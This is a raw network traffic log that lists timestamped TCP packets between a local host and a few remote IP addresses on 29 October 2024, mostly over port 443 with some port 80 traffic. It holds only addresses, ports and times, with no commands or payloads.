Oct 29, 2024 17:59:28.479681015 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.479865074 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.481638908 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.539638042 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.539654016 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.586513042 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.731770992 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.731915951 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.732014894 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.732624054 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:28.732640982 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:28.736020088 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.736078978 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.736332893 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.736561060 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.741739988 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.741760969 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.741774082 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.741782904 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.744462967 CET	49842	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.744492054 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.744560003 CET	49842	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.744791031 CET	49842	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.744801998 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.789690971 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.789700985 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.791296005 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.791410923 CET	443	49833	142.250.185.142	192.168.2.6
Oct 29, 2024 17:59:28.791582108 CET	49833	443	192.168.2.6	142.250.185.142
Oct 29, 2024 17:59:28.866157055 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.866857052 CET	49841	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.866880894 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.867438078 CET	49841	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.867445946 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.867953062 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.868520975 CET	49839	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.868542910 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.868978024 CET	49839	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.868984938 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.996263981 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.996397972 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.996541023 CET	49841	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.996570110 CET	49841	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.996588945 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.996597052 CET	49841	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.996603966 CET	443	49841	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.999329090 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.999352932 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:28.999409914 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.999578953 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:28.999594927 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.000653982 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.000718117 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.000770092 CET	49839	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.001058102 CET	49839	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.001077890 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.001087904 CET	49839	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.001094103 CET	443	49839	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.003331900 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.003353119 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.003433943 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.003578901 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.003588915 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.025433064 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.025780916 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.025798082 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.026215076 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.026220083 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.131892920 CET	80	49837	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:29.132019997 CET	49837	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:29.156395912 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.156447887 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.156528950 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.157885075 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.157896042 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.157927036 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.157932043 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.158224106 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.162195921 CET	49840	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.162204027 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.162751913 CET	49840	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.162755966 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.164324999 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.164349079 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.165359974 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.165939093 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.165952921 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.222459078 CET	49786	443	192.168.2.6	142.250.185.132
Oct 29, 2024 17:59:29.230859041 CET	49837	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:29.236768961 CET	80	49837	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:29.436538935 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.436568975 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.436611891 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.436661005 CET	49840	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.436819077 CET	49840	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.436846972 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.436862946 CET	49840	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.436868906 CET	443	49840	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.439702034 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.439747095 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.439821005 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.440011978 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.440022945 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.527663946 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.528285980 CET	49842	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.528306007 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.528759003 CET	49842	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.528764963 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.663067102 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.663122892 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.663239956 CET	49842	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.663417101 CET	49842	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.663429976 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.663439035 CET	49842	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.663444996 CET	443	49842	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.665998936 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.666027069 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.666104078 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.666240931 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.666253090 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.735038042 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.735428095 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.735459089 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.735877991 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.735883951 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.747421026 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.749337912 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.749368906 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.749725103 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.749732018 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.869087934 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.869132042 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.869175911 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.869229078 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.869421959 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.869438887 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.869446993 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.869452953 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.871853113 CET	49848	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.871895075 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.871948957 CET	49848	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.872219086 CET	49848	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.872236013 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.909255028 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.909976959 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.910073996 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.910073996 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.910176039 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.910213947 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.912309885 CET	49849	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.912348032 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.912417889 CET	49849	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.912595034 CET	49849	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.912605047 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.923100948 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.923455000 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.923466921 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:29.923866034 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:29.923870087 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.010343075 CET	80	49837	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:30.010410070 CET	49837	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:30.053865910 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.054056883 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.054114103 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.054179907 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.054197073 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.054209948 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.054214954 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.057071924 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.057101011 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.057172060 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.057331085 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.057343960 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.173083067 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.173629999 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.173645973 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.174091101 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.174094915 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.305052996 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.305099964 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.305138111 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.305154085 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.305186987 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.330266953 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.330282927 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.330295086 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.330302000 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.335681915 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.335728884 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.335813046 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.336153984 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.336174965 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.397840977 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.398225069 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.398250103 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.398686886 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.398693085 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.530045986 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.530472994 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.530556917 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.539395094 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.539416075 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.539453983 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.539459944 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.560853004 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.560889959 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.560959101 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.563673973 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.563685894 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.609769106 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.610117912 CET	49848	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.610136032 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.610529900 CET	49848	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.610539913 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.685834885 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.687139034 CET	49849	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.687150002 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.687853098 CET	49849	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.687858105 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.741239071 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.741300106 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.741895914 CET	49848	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.741986036 CET	49848	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.742013931 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.742026091 CET	49848	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.742031097 CET	443	49848	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.744462013 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.744503975 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.744561911 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.744680882 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.744700909 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.795383930 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.802143097 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.802159071 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.806078911 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.806087017 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.822643042 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.823195934 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.824497938 CET	49849	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.824636936 CET	49849	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.824636936 CET	49849	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.824659109 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.824667931 CET	443	49849	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.827032089 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.827070951 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.827126980 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.827306032 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.827322006 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.931962013 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.932038069 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.932079077 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.932090998 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.932132006 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.932460070 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.932471037 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.935911894 CET	49855	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.935950994 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:30.936119080 CET	49855	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.936259031 CET	49855	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:30.936278105 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.066967010 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.067514896 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.067527056 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.067878962 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.067887068 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.199424028 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.199496031 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.199595928 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.222573042 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.222573042 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.222605944 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.222615004 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.239769936 CET	49856	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.239821911 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.239902973 CET	49856	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.247234106 CET	49856	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.247255087 CET	443	49856	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.309174061 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.350403070 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.350431919 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.350846052 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.350852013 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.479475975 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.479549885 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.479690075 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.507185936 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.507209063 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.518410921 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.547698021 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.547724009 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.548120022 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.548127890 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.560765982 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.562041044 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.562052011 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.563301086 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.563306093 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.687130928 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.690722942 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.690777063 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.690813065 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.690864086 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.700218916 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.700273037 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.700334072 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.706199884 CET	49855	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.706235886 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.707150936 CET	49855	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.707158089 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.725790024 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.725805998 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.725816965 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.725822926 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.753777027 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.753807068 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.753863096 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.754579067 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.754601002 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.754614115 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.754621029 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.799074888 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.799108028 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.799185991 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.808834076 CET	49857	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.808849096 CET	443	49857	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.835998058 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.836091042 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.836158037 CET	49855	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.838145018 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.838169098 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.838234901 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.857633114 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.857654095 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.870541096 CET	49855	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.870565891 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.870580912 CET	49855	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.870592117 CET	443	49855	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.879429102 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:31.879446983 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:31.886512995 CET	49860	443	192.168.2.6	13.107.246.45
